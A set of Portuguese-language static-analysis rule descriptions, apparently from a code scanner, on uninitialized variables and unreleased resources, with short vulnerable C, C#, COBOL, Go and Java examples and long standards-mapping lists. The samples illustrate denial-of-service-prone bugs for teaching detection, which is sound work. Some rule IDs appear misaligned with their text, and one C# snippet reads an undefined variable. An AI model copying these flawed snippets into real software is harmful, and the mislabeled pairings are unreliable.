desc.structural.dotnet.uninitialized_variable
Abstract
O programa pode usar uma variável antes de ser inicializado.
Explanation
Variáveis de pilha em C e C++ não são inicializadas por padrão. Seus valores iniciais são determinados por tudo o que está em sua localização na pilha no momento em que a função é invocada. Os programas nunca devem usar o valor de uma variável não inicializada.

Não é incomum os programadores usarem uma variável não inicializada no código que trata erros ou outras circunstâncias raras e excepcionais. Avisos de variáveis não inicializadas algumas vezes podem indicar a presença de um erro tipográfico no código.

Exemplo 1: A seguinte instrução de switch se destina a definir valores para as variáveis aN ebN, mas no caso padrão, o programador definiu acidentalmente o valor de aN duas vezes.


switch (ctl) {
case -1:
aN = 0; bN = 0;
break;
case 0:
aN = i; bN = -i;
break;
case 1:
aN = i + NEXT_SZ; bN = i - NEXT_SZ;
break;
default:
aN = -1; aN = -1;
break;
}



A maioria das variáveis não inicializadas resulta em problemas gerais de confiabilidade do software, mas se os invasores puderem acionar intencionalmente o uso de uma variável não inicializada, eles poderão lançar um ataque de negação de serviço travando o programa. Nas circunstâncias certas, um invasor pode controlar o valor de uma variável não inicializada afetando os valores na pilha antes da invocação da função.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 457, CWE ID 824
[2] Standards Mapping - Common Weakness Enumeration Top 25 2024 [12] CWE ID 020, [20] CWE ID 119
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 9.1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 9.1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 8-5-1
[7] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 11.6.2
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[10] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[12] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 665
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Smart Contract Weakness Classification SWC-109
[36] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[37] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.cpp.uninitialized_variable
Abstract
O programa talvez não consiga liberar um recurso do sistema.
Explanation
O programa talvez não consiga liberar um recurso do sistema.

Vazamento de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele consiga lançar um ataque de negação de serviço esgotando o pool de recursos.

Exemplo 1: O método a seguir nunca fecha o identificador de arquivo que ele abre. O método Finalize() para StreamReader chama Close() eventualmente, mas não há nenhuma garantia de quanto tempo será necessário antes que o método Finalize() seja invocado. Na verdade, não há nenhuma garantia de que Finalize() nunca será invocado. Em um ambiente muito ativo, isso pode fazer com que a VM use todos os seus identificadores de arquivo disponíveis.


private void processFile(string fName) {
StreamWriter sw = new StreamWriter(fName);
string line;
while ((line = sr.ReadLine()) != null)
processLine(line);
}
Exemplo 2: Em condições normais, o código a seguir executa uma consulta de banco de dados, processa os resultados retornados pelo banco de dados e fecha o objeto SqlConnection alocado. Porém, se ocorrer uma exceção durante a execução do SQL ou o processamento dos resultados, o objeto SqlConnection não será fechado. Se isso acontecer com frequência suficiente, o banco de dados ficará sem cursores disponíveis e não poderá executar mais consultas SQL.


...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 22.1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 22.1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 6.8.1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[20] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.dotnet.unreleased_resource
Abstract
O programa talvez não consiga liberar um recurso do sistema.
Explanation
O programa talvez não consiga liberar um recurso do sistema.

Vazamento de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele consiga lançar uma negação de serviço esgotando o pool de recursos.

Exemplo 1: A função a seguir não fecha o identificador de arquivo que ela abre quando um erro ocorre. Se o processo durar muito, ele poderá ficar sem identificadores de arquivo.


int decodeFile(char* fName)
{
char buf[BUF_SZ];
FILE* f = fopen(fName, "r");

if (!f) {
printf("cannot open %s\n", fName);
return DECODE_FAIL;
} else {
while (fgets(buf, BUF_SZ, f)) {
if (!checkChecksum(buf)) {
return DECODE_FAIL;
} else {
decodeBlock(buf);
}
}
}
fclose(f);
return DECODE_SUCCESS;
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 22.1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 22.1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 6.8.1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[20] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.cpp.unreleased_resource
Abstract
O programa talvez não consiga liberar um recurso do sistema.
Explanation
O programa talvez não consiga liberar um recurso do sistema.

Os vazamentos de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão sobre qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele inicie um denial of service esgotando o pool de recursos.

Exemplo 1: O programa a seguir não fecha o identificador de arquivo que ele abre se ocorrer um erro. Se o processo durar muito, ele poderá ficar sem identificadores de arquivo.


CALL "CBL_CREATE_FILE"
USING filename
access-mode
deny-mode
device
file-handle
END-CALL

IF return-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
PERFORM write-data
IF ws-status-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
DISPLAY "Success!"
END-IF
END-IF

CALL "CBL_CLOSE_FILE"
USING file-handle
END-CALL

GOBACK
.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 22.1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 22.1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 6.8.1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[20] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.cobol.unreleased_resource
Abstract
O programa talvez não consiga liberar um recurso do sistema.
Explanation

Os vazamentos de recursos têm pelo menos duas causas comuns:

- Condições de erro e outras circunstâncias excepcionais.

- Confusão acerca de qual parte do programa é responsável pela liberação do recurso.

A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, talvez ele consiga lançar um ataque de negação de serviço esgotando o pool de recursos.

Exemplo 1: O método a seguir nunca fecha o soquete que ele abre. A função New() estabelece uma nova conexão com o daemon de log do sistema. Faz parte do pacote log.syslog. Cada gravação para o gravador retornado envia uma mensagem de log com a prioridade fornecida (uma combinação do recurso e gravidade do syslog) e a tag de prefixo. Em um ambiente ocupado, isso pode fazer com que o sistema use todos os seus soquetes.


func TestNew() {

s, err := New(syslog.LOG_INFO|syslog.LOG_USER, "the_tag")
if err != nil {
if err.Error() == "Unix syslog delivery error" {
fmt.Println("skipping: syslogd not running")
}
fmt.Println("New() failed: %s", err)
}
}
Exemplo 2: Nesse exemplo, o método Dial() do pacote net/smtp retorna um novo cliente conectado a um servidor SMTP no localhost. Os recursos de conexão são alocados, mas nunca são liberados chamando a função Close().


func testDial() {
client, _ := smtp.Dial("127.0.0.1")
client.Hello("")
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 22.1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 22.1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 6.8.1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[20] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.golang.unreleased_resource
Abstract
Uma função falha em liberar um recurso do sistema.
Explanation
O código falha em liberar um recurso do sistema.


A maioria dos problemas de recursos não liberados resulta em problemas gerais de confiabilidade de software. No entanto, se um invasor puder provocar intencionalmente um vazamento de recursos, ele poderá iniciar um denial of service esgotando o pool de recursos.

Exemplo 1: No exemplo a seguir, o recurso criado por Arena.ofConfined() não está fechado.

...
Arena offHeap = Arena.ofConfined()
MemorySegment str = offHeap.allocateUtf8String("data");
...
//offHeap is never closed
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 772
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [21] CWE ID 772
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 22.1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Rule 22.1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 6.8.1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SC-24 Fail in Known State (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SC-24 Fail in Known State
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective C.3.3 - Web Software Attack Mitigation
[20] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002310 CAT I, APSC-DV-002400 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.unreleased_resource_ffm
Abstract
